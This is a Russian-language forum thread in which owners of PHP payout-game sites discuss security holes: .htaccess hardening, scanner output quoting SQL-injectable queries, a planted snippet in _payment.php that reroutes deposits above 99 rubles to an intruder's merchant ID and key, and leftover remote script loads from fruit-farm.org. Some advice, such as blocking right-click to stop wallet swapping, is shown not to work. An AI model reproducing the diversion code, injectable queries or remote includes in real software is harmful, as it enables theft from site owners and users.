Дыры на сайтах

  • Автор темы agamurat
  • Дата начала
juranja
Местный
Сообщения
99
Реакции
5
  • #161
Олег Длиннов написал(а):
у меня нету времени читать все посты. Нужно в каждую папку запихнуть файл .htaccess и прописать в него
deny from all ? или как? я дочитал до 3 страницы и так ничего и не понял
ЭХ какой шустры я. Тут полгода читаю и много чего не понял , один файл в директории так же действует и во вложенные папки, способов защиты уйма Сталин тебе в помощь , вот пример как раз для фермы : если в вашем скрипте в месте загрузки картинок нет защиты (фильтрации к примеру), то можно загрузить что угодно, в том числе и НЕ картинки!

Для этой проблемы есть решение: Заходим в папку куда загружаются картинки к примеру аватары пользователей, и в ней открываем файл htaccess (если его нет, то создаем), в нем пишем этот код: php_flag engine 0 AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .jpg .asp .jsp

Таким образом мы запретили загрузку файлов с расширением что указаны в коде. При желании можно добавить или удалить расширения. Ну и остается дело за малым - сохранить файл. Все, теперь хакер не сможет загрузить "левый" файл . Остальное ищи и выбирай подходящий способ защиты
 
Олег Длиннов
Участник
Сообщения
67
Реакции
6
  • #162
Заходим в папку куда загружаются картинки к примеру аватары пользователей, и в ней открываем файл htaccess
какие аватары?) стена обычна ведь ) просто дата регистрации, реферал и выплаты
 
juranja
Местный
Сообщения
99
Реакции
5
  • #163
я
Олег Длиннов написал(а):
какие аватары?) стена обычна ведь ) просто дата регистрации, реферал и выплаты
Я пример привел тебе очень подходит для папки js , а так по гугли способы защиты смотря что ты хочешь сделать у меня в разных папках разная защита а основная как и у всех deny from all ( если ты вложил htассеss в папку pages он так же действует и на папки.вложенные в pages)
 
Олег Длиннов
Участник
Сообщения
67
Реакции
6
  • #164
juranja написал(а):
я
Я пример привел тебе очень подходит для папки js , а так по гугли способы защиты смотря что ты хочешь сделать у меня в разных папках разная защита а основная как и у всех deny from all ( если ты вложил htассеss в папку pages он так же действует и на папки.вложенные в pages)
это получается, что нужно во все папки повпихивать deny from all ?
 
rus56
Участник
Сообщения
126
Реакции
16
  • #165
Олег Длиннов написал(а):
это получается, что нужно во все папки повпихивать deny from all ?
НЕТ в определенные т.к. не будут работать некоторые файлы, я допустим в некоторые папки прописал Options All -Indexes
 
dantexlll
Участник
Сообщения
26
Реакции
0
Skype
  • #166
Просканировал файлы и выдало Все - (16), XSS - (6), SQL Injection - (9), Active Script - (1)
Что это значит ?

/_about.php
61:
$db->Query("UPDATE db_conabrul SET about = '".$_POST["tx"]."' WHERE id = '1'");

SQL Injection!
/_contacts.php
60:
$db->Query("UPDATE db_conabrul SET contacts = '".$_POST["tx"]."' WHERE id = '1'");

SQL Injection!
/_edit_index.php
10:
fwrite($fid, $_POST["tx"]);

И еще

/inter_merchant.php
21:
$user_id = $_POST['us_id'];

/inter_merchant.php
32:
$db->Query("SELECT user, referer_id FROM db_users_a WHERE id = '{$user_id}' LIMIT 1");

SQL Injection!
/inter_merchant.php
21:
$user_id = $_POST['us_id'];

/inter_merchant.php
40:
$db->Query("SELECT insert_sum FROM db_users_b WHERE id = '{$user_id}' LIMIT 1");

SQL Injection!
/inter_merchant.php
21:
$user_id = $_POST['us_id'];

/inter_merchant.php
48:
$db->Query("UPDATE db_users_b SET money_b = money_b '$serebro', a_t = a_t '$add_tree', to_referer = to_referer '$to_referer', last_sbor = '$lsb', insert_sum = insert_sum '$ik_payment_amount' WHERE id = '{$user_id}'");
 
Krikash
Местный
Сообщения
91
Реакции
8
  • #167
Ребята вот что я нашел, в файле _payment.php появились вот такие строчки:
if ($sum > 99)
$m_shop = 42179311;
else
$m_shop = $config->shopID;

ниже
if ($sum > 99)
$m_key = "rQoObl1o4OunPe5o";
else
$m_key = $config->secretW;

и ниже в этом же файле
<input type="hidden" name="m_shop" value="<? if ($sum > 99) echo 42179311; else echo $config->shopID; ?>">

Как вы понимаете что кто то типо хацкер запилил мне этот код, как вы видите если пополняемая сумма больше 99 рублей то она идет ему в кошель, если меньше то идут в ваш кошелек, какой щедрый сцука.
 
Krikash
Местный
Сообщения
91
Реакции
8
  • #168
Перепроверьте и Вы и удалите.
 
usolec
Участник
Сообщения
2
Реакции
0
  • #169
что будет если вырезать?
 
Freeman18rus
Участник
Сообщения
26
Реакции
3
  • #171
Krikash написал(а):
Ребята вот что я нашел, в файле _payment.php появились вот такие строчки:
if ($sum > 99)
$m_shop = 42179311;
else
$m_shop = $config->shopID;

ниже
if ($sum > 99)
$m_key = "rQoObl1o4OunPe5o";
else
$m_key = $config->secretW;

и ниже в этом же файле
<input type="hidden" name="m_shop" value="<? if ($sum > 99) echo 42179311; else echo $config->shopID; ?>">

Как вы понимаете что кто то типо хацкер запилил мне этот код, как вы видите если пополняемая сумма больше 99 рублей то она идет ему в кошель, если меньше то идут в ваш кошелек, какой щедрый сцука.
кстати это хорошая мысль для защиты денег, вписав туда свой второй кошелек
 
lizard
Участник
Сообщения
10
Реакции
0
  • #172
Freeman18rus написал(а):
кстати это хорошая мысль для защиты денег, вписав туда свой второй кошелек
Подскажите,как правильно поставить.что бы большие суммы переводились на другой кошель для безопастности)
 
skroliks
PHP, MySQL, CSS
Участник
Сообщения
280
Реакции
46
  • #173
wh1skas написал(а):
сорри за пруфы, но... http://fruit-farm.org/return_viewer2342233.php?go2
Ищи свой сайт. Есть? Значит есть дыра. Делай поиск фразы: fruit-farm.org по всем файлам сервера с помощью Npp++ и понимай, что да как. Такую штуку пихали в историю выплат (админка).
Как сделать поиск в ++ по всем файлам сервера? Каждый файл отдельно или есть другой способ? (чтобы все сразу)
 
Rozario
Местный
Сообщения
38
Реакции
8
  • #174
wh1skas написал(а):
К сожалению, у этого скрипта есть изъян, который позволяет отключить в браузере JS и обойти эту уловку с запретом на использование ПКМ.
Есть несколько способов решения этой проблемы, сразу перейду к ним, только в совокупности это спасет Вас, а точнее Ваших пользователей от подмены кошелька мошенником:
1. Необходимо обрамить код заказа выплаты в javascript, а именно только таблицу с формой (<form> имеется ввиду).
2. Выводить в тегах <noscript> на сайте, что сайт не будет работать с отключенными JavaScript.

Соответственно, что мы имеем:

Посмотреть вложение 1085
Согласну анимашке, пользователь будет жмякать на кнопочки оформления заявки, заказывать выплату. Предположим, что кошелек привязан. Хацкер захочет сменить кошелек, посредством подмены через код страницы (элемента). ДжаваСкрипт запрещает использовать ПКМ. Хацкер отключает JS в браузере и пытается обойти запрет но:
1. Теперь он может юзать пкм на странице.
2. Кнопка оформления не сработает.
Ура? - УРА!
Всё красиво конечно, но кто-нибудь может малообразованным на живом примере показать как обрамить код?
заранее благодарен!
а то эта проблема у меня на сайте периодически возникает))
 
korozist
Участник
Сообщения
8
Реакции
4
Skype
  • #175
Rozario написал(а):
Всё красиво конечно, но кто-нибудь может малообразованным на живом примере показать как обрамить код?
заранее благодарен!
а то эта проблема у меня на сайте периодически возникает))
skroliks написал(а):
Всё красиво конечно, но кто-нибудь может малообразованным на живом примере показать как обрамить код?
заранее благодарен!
а то эта проблема у меня на сайте периодически возникает))


присоединяюсь! :)
в файле _payment.php в самом верху вставить скрипт который запрещает использование пкм

<script LANGUAGE="JavaScript1.1">document.oncontextmenu = function(){return false;};</script>

после вставить скрипт спойлера

<script type="text/javascript">
$(document).ready(function(){
$('.splLink').click(function(){
$(this).parent().children('div.splCont').toggle('normal');
return false;
});
});
</script>

далее найти код:

<form action="" method="post">
<table width="99%" border="0" align="center">
<tr>
<td><font color="#000;">Введите кошелек Payeer [Пример: P1112457]</font>: </td>
<td><input type="text" name="purse" size="15"/></td>
</tr>
<tr>
<td><font color="#000;">Отдаете серебро для вывода</font> [Мин. <span id="res_min"></span>]<font color="#000;">:</font> </td>
<td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
</tr>
<tr>
<td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
<td>
<input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
<input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
<input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
<input type="hidden" name="val_type" id="val_type" value="RUB" />
</td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
</tr>
</table>
</form>

и перед строчкой <form action="" method="post"> написать <div><a href="javascript//" class="splLink">Оформить заявку</a><div class="splCont" >, а после </form> добавить </div></div>




и чуть не забыл, в файле style.css добавить

.splCont{display:none;border:1px solid #cccccc;padding:3px 5px;}
.splLink {display: table; border: 1px solid #b8ddb4; background: linear-gradient(to right, #d4ead3, #d1ebd0); margin-left: 215px; padding: 10px; border-radius: 7px; color: #7ea57b; text-decoration: none; font-weight: bold; }
.splLink:hover { color:#99be97; text-decoration:none;}
 
Последнее редактирование модератором:
MrMatnoos
Участник
Сообщения
198
Реакции
42
Skype
  • #176
korozist написал(а):
в файле _payment.php в самом верху вставить скрипт который запрещает использование пкм
<script LANGUAGE="JavaScript1.1">document.oncontextmenu = function(){return false;};</script>
у меня этот скрипт не работает.
 
Rozario
Местный
Сообщения
38
Реакции
8
  • #177
korozist написал(а):
хз почему не работает. могу только код своего _payment.php выложить для сравнения


<script LANGUAGE="JavaScript1.1">
document.oncontextmenu = function(){return false;};
</script>


<script LANGUAGE="JavaScript1.1">
document.oncontextmenu = function(){return false;};
</script>
<div class="s-bk-lf">
<div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">
<BR />
<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");

# Минималка серебром!
$minPay = 50;

?>
<b>Выплаты осуществляются в автоматическом режиме и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/create" target="_blank">Создание счета в Payeer</a> <BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/outpay" target="_blank">Вывод средств из payeer</a> <BR /><BR />

<center><b>Заказ выплаты:</b></center><BR />

<?PHP

function ViewPurse($purse){

if( substr($purse,0,1) != "P" ) return false;
if( !ereg("^[0-9]{7}$", substr($purse,1)) ) return false;
return $purse;
}

# Заносим выплату
if(isset($_POST["purse"])){

$purse = ViewPurse($_POST["purse"]);
$sum = intval($_POST["sum"]);
$val = "RUB";

if($purse !== false){

if($sum >= $minPay){

if($sum <= $user_data["money_p"]){

# Проверяем на существующие заявки
$db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
if($db->FetchRow() == 0){


### Делаем выплату ###
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if ($payeer->isAuth())
{

$arBalance = $payeer->getBalance();
if($arBalance["auth_error"] == 0)
{

$sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);

$balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
if( ($balance) >= ($sum_pay+100)){



$arTransfer = $payeer->transfer(array(
'curIn' => 'RUB', // счет списания
'sum' => $sum_pay, // сумма получения
'curOut' => 'RUB', // валюта получения
'to' => $purse, // получатель (email)
//'to' => '+71112223344', // получатель (телефон)
//'to' => 'P1000000', // получатель (номер счета)
'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта WM-Farm")
//'anonim' => 'Y', // анонимный перевод
//'protect' => 'Y', // протекция сделки
//'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
//'protectCode' => '12345', // код протекции
));

if (!empty($arTransfer["historyId"]))
{


# Снимаем с пользователя
$db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");

# Вставляем запись в выплаты
$da = time();
$dd = $da + 60*60*24*15;

$ppid = $arTransfer["historyId"];

$db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");

$db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'");
$db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");

echo "<center><font color = 'green'><b>Выплачено!</b></font></center><BR />";

}
else
{

echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";

}


}else echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";

}else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} серебра!</font></b></center><BR />";

}else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";

}
?>
<script type="text/javascript">//скрипт спойлера
$(document).ready(function(){
$('.splLink').click(function(){
$(this).parent().children('div.splCont').toggle('normal');
return false;
});
});
</script>


<div><a href="https://servahoc.ru/redirect.php?url=javascript//" class="splLink">Оформить заявку</a><div class="splCont" >



<form action="" method="post">
<table width="99%" border="0" align="center">
<tr>
<td><font color="#000;">Введите кошелек Payeer [Пример: P1112457]</font>: </td>
<td><input type="text" name="purse" size="15"/></td>
</tr>
<tr>
<td><font color="#000;">Отдаете серебро для вывода</font> [Мин. <span id="res_min"></span>]<font color="#000;">:</font> </td>
<td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
</tr>
<tr>
<td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
<td>
<input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
<input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
<input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
<input type="hidden" name="val_type" id="val_type" value="RUB" />
</td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
</tr>
</table>
</form></div></div>
<script language="javascript">PaymentSum(); SetVal();</script>



<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
<tr>
<td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
</tr>
<tr>
<td align="center" class="m-tb">Серебро</td>
<td align="center" class="m-tb">Получаете</td>
<td align="center" class="m-tb">Кошелек</td>
<td align="center" class="m-tb">Дата</td>
<td align="center" class="m-tb">Статус</td>
</tr>
<?PHP
$db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
if($db->NumRows() > 0){
while($ref = $db->FetchArray()){

?>
<tr class="htt">
<td align="center"><?=$ref["serebro"]; ?></td>
<td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
<td align="center"><?=$ref["purse"]; ?></td>
<td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
<td align="center"><?=$status_array[$ref["status"]]; ?></td>
</tr>
<?PHP

}
}else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
?>

</table><div class="clr"></div>
</div>
Благодарю конечно за суету!, но этот скрипт не спасает от подмены кошелька, всё установил, как нарисовано но через обработчик всё равно заменил кошель , возможно здесь нужно что то ещё?
 
nikitin2016
Участник
Сообщения
228
Реакции
12
  • #178
@fopen("http://fruit-farm.org/admin.html","r");

чем заменить фрут-фарм ? своим доменом или просто удалить эту строку в файле : _class.rfs_payeer.php

файл : _story_insert.php

строка : <script type="text/javascript" src="http://fruit-farm.org/licence.php"></script>

строка : <script type="text/javascript" src="http://fruit-farm.org/licence.php"></script>

что с ними делать ? просто удалить или заменить допустим на свой домен фермы ?
 
Последнее редактирование модератором:
Rozario
Местный
Сообщения
38
Реакции
8
  • #179
Сверху